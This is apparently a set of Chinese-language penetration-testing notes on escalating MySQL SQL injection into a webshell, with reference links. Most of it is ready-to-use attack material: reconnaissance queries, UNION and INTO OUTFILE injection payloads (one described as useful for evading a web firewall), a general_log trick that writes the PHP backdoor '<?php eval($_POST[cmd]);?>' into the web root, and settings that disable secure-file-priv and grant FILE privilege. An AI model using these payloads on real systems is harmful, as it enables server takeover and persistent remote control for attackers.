关键字
MySQL SQLi SQL注入 webshell getshell
参考资料
From SQL Injection to WebShell
https://community.rsa.com/community/products/netwitness/blog/2017/04/10/from-sql-injection-to-webshell
【SQL注入】mysql limit 注入
http://vinc.top/2017/04/01/%E3%80%90sql%E6%B3%A8%E5%85%A5%E3%80%91mysql-limit-%E6%B3%A8%E5%85%A5/
MySQL注入两种写Webshell的方法
http://lu4n.com/mysql-sqli-write-webshell-two-methods/
phpMyAdmin新姿势getshell (基于日志写webshell)
https://zhuanlan.zhihu.com/p/25957366
dump时 利用DNS回传数据(而非HTTP)
MySQL Out-of-Band Hacking
https://osandamalith.com/2017/02/03/mysql-out-of-band-hacking/
前言
SQL注入 (SQLi) 的危害不仅限于数据库被导出,在特定配置下,攻击者可以通过SQL注入来上传文件,然后通过webshell来控制服务器。在使用webshell控制服务器后,攻击者可以提权,对服务器安装rootkit进行持久控制,并且以该服务器为跳板进行内网渗透。
写webshell的思路
可以写shell的几个前置条件
- root权限
- GPC关闭(能使用单引号)
- 有绝对路径(读文件可以不用,写文件必须)
- 没有配置 –secure-file-priv
判断前置条件是否满足
使用 SQL shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| select version(); select @@version; select current_user(); select user(); select database(); select @@version_compile_os; select @@basedir; # 默认值 5.7.20-0ubuntu0.16.04.1 /usr/ select @@datadir; # 默认值 5.7.20-0ubuntu0.16.04.1 /var/lib/mysql/ select @@plugin_dir; # 默认值 5.7.20-0ubuntu0.16.04.1 /usr/lib/mysql/plugin/ select @@secure_file_priv # 默认值 5.7.20-0ubuntu0.16.04.1 /var/lib/mysql-files/ SHOW VARIABLES LIKE "secure_file_priv"; SELECT @@global.secure_file_priv; show variables like '%general%';
|
方案1:利用outfile
1 2 3 4 5
| id=2) union select 1,2,3,4,5,6,7,'<? phpinfo(); ?>' into outfile '/home/wwwroot/lu4n.com/luan_phpinfo.php'%23
# No UNION 过狗时有用 id=2) into outfile '/home/wwwroot/lu4n.com/luan_phpinfo.php' fields terminated by '<? phpinfo(); ?>'%23
|
这里用的第二种方法是通过插入分隔符号来getshell的,所以必须查询结果有多个列
方案2:利用log写webshell
1 2 3
| set global general_log = on; # 开启general log模式 set global general_log_file = '/var/www/html/1.php'; # 设置日志目录为shell地址 select '<?php eval($_POST[cmd]);?>' # 写入shell
|
修改 secure-file-priv 的配置
secure-file-priv这个全局变量是指定文件夹作为导出文件存放的路径
Windows
修改 my.ini
,之后重启 mysql 服务。
1 2
| [mysqld] secure-file-priv = ""
|
潜在的路径
1
| D:\phpStudy\MySQL\my.ini
|
Linux
修改 my.cnf
,之后重启 mysql 服务。
1 2
| [mysqld] secure-file-priv = ""
|
潜在的路径
1 2
| /etc/mysql/mysql.conf.d/mysqld.cnf /etc/mysql/my.cnf
|
其他速记
1 2
| GRANT FILE ON *.* TO root@localhost; FLUSH PRIVILEGES;
|